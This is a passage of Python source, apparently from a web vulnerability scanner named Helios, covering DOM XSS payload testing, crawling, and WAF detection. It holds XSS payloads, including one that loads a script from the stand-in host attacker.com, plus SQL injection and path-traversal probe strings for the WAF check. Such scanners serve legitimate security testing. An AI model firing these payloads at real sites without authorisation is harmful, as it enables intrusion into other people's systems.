# Add the vulnerability to self.vulnerabilities_found
self.vulnerabilities_found.append({
'type': 'DOM XSS',
'method': 'GET', # DOM XSS is typically exploited via GET
'url': exploit_info['url'],
'payload': exploit_info['payload'],
'parameter': 'N/A', # DOM XSS doesn't always have a specific parameter
'details': vuln_info
})
self.print_and_save(f"[+] DOM XSS vulnerability confirmed: {source} into {sink}", important=True)
self.print_and_save(f"[*] Exploit Information:\n{vuln_info}", important=True)
return vuln_info
else:
self.print_and_save(f"[!] Could not generate exploit for source '{source}' and sink '{sink}'.", important=True)
return None
async def general_dom_xss_exploit(self, source, sink):
payloads = [
f"<img src=x onerror=alert('{self.canary_string}')>",
f"javascript:alert('{self.canary_string}')",
f"'><script>alert('{self.canary_string}')</script>",
f"'-alert('{self.canary_string}')-'",
f"\\'-alert('{self.canary_string}')-\\'",
f"javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://attacker.com/xss.js\\';document.body.appendChild(a)')",
f"data:text/html;base64,PHNjcmlwdD5hbGVydCgne3NlbGYuY2FuYXJ5X3N0cmluZ319Jyk8L3NjcmlwdD4="
]
parsed_url = urllib.parse.urlparse(self.target_url)
query_params = urllib.parse.parse_qs(parsed_url.query)
for payload in payloads:
encoded_payload = urllib.parse.quote(payload)
# Test adding the payload to existing parameters
for param in query_params:
test_params = query_params.copy()
test_params[param] = [f"{test_params[param][0]}{encoded_payload}"]
test_query = urllib.parse.urlencode(test_params, doseq=True)
test_url = urllib.parse.urlunparse(parsed_url._replace(query=test_query))
self.print_and_save(f"[*] Testing DOM XSS URL: {test_url}", important=True)
if await self.test_single_payload(test_url, payload):
return {'payload': payload, 'url': test_url}
# Test adding a new parameter with the payload
new_param = f"xss_test_{random.randint(1000, 9999)}"
test_params = query_params.copy()
test_params[new_param] = [encoded_payload]
test_query = urllib.parse.urlencode(test_params, doseq=True)
test_url = urllib.parse.urlunparse(parsed_url._replace(query=test_query))
self.print_and_save(f"[*] Testing DOM XSS URL with new parameter: {test_url}", important=True)
if await self.test_single_payload(test_url, payload):
return {'payload': payload, 'url': test_url}
# Test adding the payload to the fragment identifier
test_url = urllib.parse.urlunparse(parsed_url._replace(fragment=encoded_payload))
self.print_and_save(f"[*] Testing DOM XSS URL with fragment: {test_url}", important=True)
if await self.test_single_payload(test_url, payload):
return {'payload': payload, 'url': test_url}
return None
async def test_single_payload(self, test_url, payload):
await asyncio.to_thread(self.driver.get, test_url)
return await self.check_exploitation(payload)
def generate_exploit_info(self, source, sink, payload, exploit_url, is_external, script_url):
exploit_info = f"{bcolors.BOLD}{bcolors.OKGREEN}Vulnerable Source: {source}{bcolors.ENDC}\n"
exploit_info += f"{bcolors.BOLD}{bcolors.OKGREEN}Vulnerable Sink: {sink}{bcolors.ENDC}\n"
exploit_info += f"{bcolors.BOLD}{bcolors.OKGREEN}Payload: {payload}{bcolors.ENDC}\n"
exploit_info += f"{bcolors.BOLD}{bcolors.OKGREEN}Exploit URL: {exploit_url}{bcolors.ENDC}\n"
if is_external:
exploit_info += f"{bcolors.WARNING}Vulnerable External Script: {script_url}\n"
return exploit_info
async def run_scan(self):
self.print_and_save(f"[*] Starting XSS scan on {self.target_url}")
start_time = time.time()
self.start_rps_monitor()
try:
await self.create_session()
async with aiohttp.ClientSession(headers=self.custom_headers, cookies=self.cookies) as session:
self.session = session
try:
self.driver = await asyncio.to_thread(self.setup_driver)
if self.driver is None:
self.print_and_save("[!] Browser setup failed. Exiting...", important=True)
return
except BrowserNotFoundError as e:
self.print_and_save(f"\n[!] {str(e)}", important=True)
self.print_and_save("[!] Please install the required browser and try again.", important=True)
return
await self.detect_waf()
# Initialize URL queue
self.url_queue = asyncio.Queue()
if self.crawl:
await self.crawl_website(self.target_url, self.crawl_depth)
self.print_and_save(f"[*] Crawling complete. Discovered {len(self.discovered_urls)} URLs.", important=True)
else:
self.discovered_urls.add(self.target_url)
# Add all discovered URLs to the queue
for url in self.discovered_urls:
await self.url_queue.put(url)
self.print_and_save(f"[*] URLs in queue: {self.url_queue.qsize()}", important=True)
for url in self.discovered_urls:
self.print_and_save(f"[*] Discovered URL: {bcolors.BOLD}{url}{bcolors.ENDC}", important=True)
# Process URLs from the queue
tasks = []
for _ in range(min(self.threads, len(self.discovered_urls))):
task = asyncio.create_task(self.process_url_queue())
tasks.append(task)
# Wait for all tasks to complete
await self.url_queue.join()
# Cancel any remaining tasks
for task in tasks:
task.cancel()
await asyncio.gather(*tasks, return_exceptions=True)
except asyncio.CancelledError:
self.print_and_save("\n[!] Scan cancelled...", important=True)
except Exception as e:
self.print_and_save(f"\n[!] An unexpected error occurred: {str(e)}", important=True)
import traceback
self.print_and_save(traceback.format_exc(), important=True)
finally:
# Add detailed summary of findings
if self.vulnerabilities_found:
self.print_and_save("\n[*] Scan Summary:", important=True)
for vuln in self.vulnerabilities_found:
self.print_and_save(f"[+] {vuln['type']} vulnerability detected:", important=True)
self.print_and_save(f" Method: {vuln['method']}", important=True)
self.print_and_save(f" URL: {vuln['url']}", important=True)
self.print_and_save(f" Parameter: {vuln['parameter']}", important=True)
self.print_and_save(f" Payload: {vuln['payload']}", important=True)
if 'details' in vuln:
self.print_and_save(f" Details: {vuln['details']}", important=True)
# self.print_and_save("", important=True) # Empty line for readability
else:
self.print_and_save("[*] No vulnerabilities were found during the scan.", important=True)
print(f"\n{bcolors.PURPLE}Scan finished in {time.time() - start_time:.2f} seconds{bcolors.ENDC}")
self.print_and_save(f"{bcolors.WARNING}[!]{bcolors.ENDC} Helios has concluded testing {self.target_url}.", important=True)
# Final cleanup
sys.stdout.write('\r\033[K') # Clear the last line (RPS counter)
sys.stdout.flush()
await self.cleanup()
async def process_url_queue(self):
while True:
try:
url = await self.url_queue.get()
self.print_and_save(f"[*] Starting to process URL: {url}", important=True)
try:
await self.scan_single_url(url)
except Exception as e:
self.print_and_save(f"[!] Error processing URL {url}: {str(e)}", important=True)
finally:
self.print_and_save(f"[*] Finished processing URL: {url}", important=True)
self.url_queue.task_done()
except asyncio.CancelledError:
break
if self.url_queue.empty():
break
async def detect_waf(self):
waf_signatures = {
'Cloudflare': ['cf-ray', '__cfduid', 'cf-cache-status'],
'Akamai': ['akamai-gtm', 'ak_bmsc'],
'Incapsula': ['incap_ses', 'visid_incap'],
'Sucuri': ['sucuri-clientside'],
'ModSecurity': ['mod_security', 'NOYB'],
'F5 BIG-IP': ['BIGipServer'],
'Barracuda': ['barra_counter_session'],
'Citrix NetScaler': ['ns_af=', 'citrix_ns_id'],
'Amazon WAF': ['x-amz-cf-id', 'x-amzn-RequestId'],
'Wordfence': ['wordfence_verifiedHuman'],
'Fortinet FortiWeb': ['FORTIWAFSID='],
'Imperva': ['X-Iinfo', '_pk_id'],
'Varnish': ['X-Varnish'],
'StackPath': ['X-SP-GATEWAY'],
'Fastly': ['Fastly-SSL']
}
detected_wafs = set()
# Standard header check
async with self.session.get(self.target_url) as response:
headers = response.headers
cookies = response.cookies
for waf, signatures in waf_signatures.items():
for signature in signatures:
if signature.lower() in [header.lower() for header in headers] or signature in cookies:
detected_wafs.add(waf)
break
# Behavioral checks
payloads = [
"<script>alert('XSS')</script>",
"' OR '1'='1",
"../../../etc/passwd",
"/?param=<script>alert('XSS')</script>"
]
for payload in payloads:
try:
async with self.session.get(f"{self.target_url}{payload}", allow_redirects=False) as response:
if response.status in [403, 406, 429, 503]:
detected_wafs.add("Unknown WAF (based on behavior)")
break
text = await response.text()
if any(keyword in text.lower() for keyword in ['waf', 'firewall', 'malicious', 'blocked', 'security']):
detected_wafs.add("Generic WAF detected")
break
except Exception as e:
self.print_and_save(f"[!] Error during WAF behavioral check: {str(e)}", important=True)
# Check for specific WAF responses
try:
async with self.session.get(f"{self.target_url}/?_test_waf=1", allow_redirects=False) as response:
text = await response.text()
if "blocked" in text.lower() or "firewall" in text.lower():
detected_wafs.add("Generic WAF detected")
except Exception as e:
self.print_and_save(f"[!] Error during WAF specific response check: {str(e)}", important=True)
# Report results
if detected_wafs:
self.print_and_save(f"[!] WAF(s) detected: {', '.join(detected_wafs)}", important=True)
self.print_and_save("[!] WAF presence may affect scan results or require evasion techniques.", important=True)
else:
self.print_and_save("[*] No WAF detected.")